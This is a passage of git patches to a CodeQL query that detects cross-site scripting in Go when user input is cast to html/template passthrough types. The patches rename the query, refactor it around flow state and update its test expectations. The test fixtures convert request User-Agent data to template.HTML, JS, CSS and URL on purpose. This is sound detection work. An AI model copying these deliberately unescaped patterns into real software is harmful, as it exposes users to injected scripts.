2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:22:00 +0100 Subject: [PATCH 04/36] Change query id to `go/html-template-escaping-bypass-xss` --- .../HTMLTemplateEscapingPassthrough.ql | 2 +- .../HTMLTemplateEscapingPassthrough.go | 36 +++++++++---------- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index ff63f6bfbec..c7135f9eeea 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -4,7 +4,7 @@ * template, it may result in XSS. * @kind path-problem * @problem.severity warning - * @id go/html-template-escaping-passthrough + * @id go/html-template-escaping-bypass-xss * @tags security * experimental * external/cwe/cwe-079 diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index dcadac92d28..50e318d956a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -26,45 +26,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { { var a template.HTML - a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } } } { - var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-passthrough] + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-passthrough] + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-passthrough] + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-passthrough] + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-passthrough] + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-passthrough] + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss] } } From ca85f0bf7f7f56eedb2d64fdd56b6aa53a23474e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:26:23 +0100 Subject: [PATCH 05/36] Update query metadata --- .../CWE-079/HTMLTemplateEscapingPassthrough.ql | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index c7135f9eeea..9e1510e9797 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -1,13 +1,14 @@ /** - * @name HTML template escaping passthrough - * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML - * template, it may result in XSS. + * @name HTML template escaping bypass cross-site scripting + * @description Converting user input to a special type that avoids escaping + * when fed into an HTML template allows for a cross-site + * scripting vulnerability. * @kind path-problem - * @problem.severity warning + * @problem.severity error * @id go/html-template-escaping-bypass-xss * @tags security - * experimental * external/cwe/cwe-079 + * external/cwe/cwe-116 */ import go From ce4be6d04c19cbf3aa233966a92ab1f87e78b139 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:36:22 +0100 Subject: [PATCH 06/36] Refactor to use flow state instead of 3 flow configs (copilot) --- .../HTMLTemplateEscapingPassthrough.ql | 156 ++++++------------ 1 file changed, 53 insertions(+), 103 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9e1510e9797..9a63ba75e2a 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -13,21 +13,6 @@ import go -/** - * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. - * The `targetType` parameter gets populated with the name of the PassthroughType, - * and `conversionSink` gets populated with the node where the conversion happens. - */ -predicate flowsFromUntrustedToConversion( - DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink -) { - exists(DataFlow::Node source | - UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and - source = untrusted and - UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType) - ) -} - /** * A name of a type that will not be escaped when passed to * a `html/template` template. @@ -36,65 +21,6 @@ class PassthroughTypeName extends string { PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } } -module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { - exists(Type typ | - typ = sink.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) } - - predicate isBarrier(DataFlow::Node node) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType - } -} - -/** - * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is - * converted into a special "passthrough" type which will not be escaped by the - * template generator; this allows the injection of arbitrary content (html, - * css, js) into the generated output of the templates. - */ -module UntrustedToPassthroughTypeConversionFlow = - TaintTracking::Global; - -/** - * Holds if the provided `conversion` node flows into the provided `execSink`. - */ -predicate flowsFromConversionToExec( - DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink -) { - PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and - PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion, - targetType) -} - -module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) } - - additional predicate isSourceConversionToPassthroughType( - DataFlow::TypeCastNode source, PassthroughTypeName name - ) { - exists(Type typ | - typ = source.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow for reasoning about when the result of a conversion to a - * PassthroughType flows to a template execution call. - */ -module PassthroughTypeConversionToTemplateExecutionCallFlow = - TaintTracking::Global; - /** * Holds if the sink is a data value argument of a template execution call. */ @@ -109,46 +35,70 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { ) } -module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } +/** + * Flow state for tracking whether a conversion to a passthrough type has occurred. + */ +class FlowState extends int { + FlowState() { this = 0 or this = 1 } - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } + predicate isBeforeConversion() { this = 0 } + + predicate isAfterConversion() { this = 1 } } /** - * Tracks taint flow from a `ActiveThreatModelSource` into a template executor - * call. + * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), + * and tracks whether a conversion to a passthrough type (B) has occurred. */ -module FromUntrustedToTemplateExecutionCallFlow = - TaintTracking::Global; +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source, FlowState state) { + state.isBeforeConversion() and source instanceof ActiveThreatModelSource + } -import FromUntrustedToTemplateExecutionCallFlow::PathGraph + predicate isSink(DataFlow::Node sink, FlowState state) { + state.isAfterConversion() and isSinkToTemplateExec(sink, _) + } -/** - * Holds if the provided `untrusted` node flows into the provided `execSink`. - */ -predicate flowsFromUntrustedToExec( - FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted, - FromUntrustedToTemplateExecutionCallFlow::PathNode execSink -) { - FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink) + predicate isBarrier(DataFlow::Node node, FlowState state) { + node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType + } + + /** + * When a conversion to a passthrough type is encountered, transition the flow state. + */ + predicate step(DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState) { + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion() and + pred = succ and + exists(Type typ, PassthroughTypeName name | + typ = pred.getType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) + ) + or + // Otherwise, normal flow with unchanged state + predState = succState + } } +module UntrustedToTemplateExecWithConversionFlow = + DataFlow::PathGraph; + from - FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource, - FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName, DataFlow::Node conversion + UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, DataFlow::Node conversion, + PassthroughTypeName targetTypeName where - // A = untrusted remote flow source - // B = conversion to PassthroughType - // C = template execution call - // Flows: - // A -> B - flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and - // B -> C - flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and - // A -> C - flowsFromUntrustedToExec(untrustedSource, templateExecCall) + UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and + // Find the conversion node in the path + exists(int i | + i = templateExecCall.getPathIndex() - 1 and + conversion = templateExecCall.getPathNode(i).getNode() and + exists(Type typ | + typ = conversion.getType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", targetTypeName) + ) + ) select templateExecCall.getNode(), untrustedSource, templateExecCall, "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, untrustedSource.getNode(), "untrusted source", conversion, "converted" From 4e5a865337d45ae1dba3021abb3741b666aafd11 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:14:48 +0100 Subject: [PATCH 07/36] Manually fix copilot's mistakes and get query working --- .../HTMLTemplateEscapingPassthrough.ql | 84 ++++++++++--------- .../HTMLTemplateEscapingPassthrough.expected | 63 +++++--------- 2 files changed, 64 insertions(+), 83 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9a63ba75e2a..9a73ebe159b 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -35,70 +35,76 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { ) } -/** - * Flow state for tracking whether a conversion to a passthrough type has occurred. - */ -class FlowState extends int { - FlowState() { this = 0 or this = 1 } - - predicate isBeforeConversion() { this = 0 } - - predicate isAfterConversion() { this = 1 } -} - /** * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), * and tracks whether a conversion to a passthrough type (B) has occurred. */ -module UntrustedToTemplateExecWithConversionConfig implements DataFlow::ConfigSig { +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { + private newtype TConversionState = + TUnconverted() or + TConverted(PassthroughTypeName x) + + /** + * Flow state for tracking whether a conversion to a passthrough type has occurred. + */ + class FlowState extends TConversionState { + predicate isBeforeConversion() { this instanceof TUnconverted } + + predicate isAfterConversion(PassthroughTypeName x) { this = TConverted(x) } + + /** Gets a textual representation of this element. */ + string toString() { + this.isBeforeConversion() and result = "Unconverted" + or + exists(PassthroughTypeName x | this.isAfterConversion(x) | + result = "Converted to template." + x + ) + } + } + predicate isSource(DataFlow::Node source, FlowState state) { state.isBeforeConversion() and source instanceof ActiveThreatModelSource } predicate isSink(DataFlow::Node sink, FlowState state) { - state.isAfterConversion() and isSinkToTemplateExec(sink, _) + state.isAfterConversion(_) and isSinkToTemplateExec(sink, _) } - predicate isBarrier(DataFlow::Node node, FlowState state) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType + predicate isBarrier(DataFlow::Node node) { + node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer + or + node.getType() instanceof NumericType } /** * When a conversion to a passthrough type is encountered, transition the flow state. */ - predicate step(DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState) { - // If not yet converted, look for a conversion to a passthrough type - predState.isBeforeConversion() and - succState.isAfterConversion() and - pred = succ and - exists(Type typ, PassthroughTypeName name | - typ = pred.getType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) + predicate isAdditionalFlowStep( + DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState + ) { + exists(ConversionExpr conversion, PassthroughTypeName name | + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion(name) and + succ.(DataFlow::TypeCastNode).getExpr() = conversion and + pred.asExpr() = conversion.getOperand() and + conversion.getType().getUnderlyingType*().hasQualifiedName("html/template", name) ) - or - // Otherwise, normal flow with unchanged state - predState = succState } } module UntrustedToTemplateExecWithConversionFlow = - DataFlow::PathGraph; + TaintTracking::GlobalWithState; + +import UntrustedToTemplateExecWithConversionFlow::PathGraph from UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, - UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, DataFlow::Node conversion, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, PassthroughTypeName targetTypeName where UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and - // Find the conversion node in the path - exists(int i | - i = templateExecCall.getPathIndex() - 1 and - conversion = templateExecCall.getPathNode(i).getNode() and - exists(Type typ | - typ = conversion.getType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", targetTypeName) - ) - ) + templateExecCall.getState().isAfterConversion(targetTypeName) select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source", conversion, "converted" + "Data from an $@ will not be auto-escaped because it was converted to template." + targetTypeName, + untrustedSource.getNode(), "untrusted source" diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index 8032c4eec22..7da7560567f 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -1,46 +1,34 @@ #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | edges | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:3 | -| ReflectedXssGood.go:15:15:15:20 | selection of Form | ReflectedXssGood.go:15:15:15:36 | call to Get | provenance | Src:MaD:1 MaD:4 | -| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:20:24:20:31 | username | provenance | | -| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:21:40:21:47 | username | provenance | | +| HTMLTemplateEscapingPassthrough.go:66:24:66:38 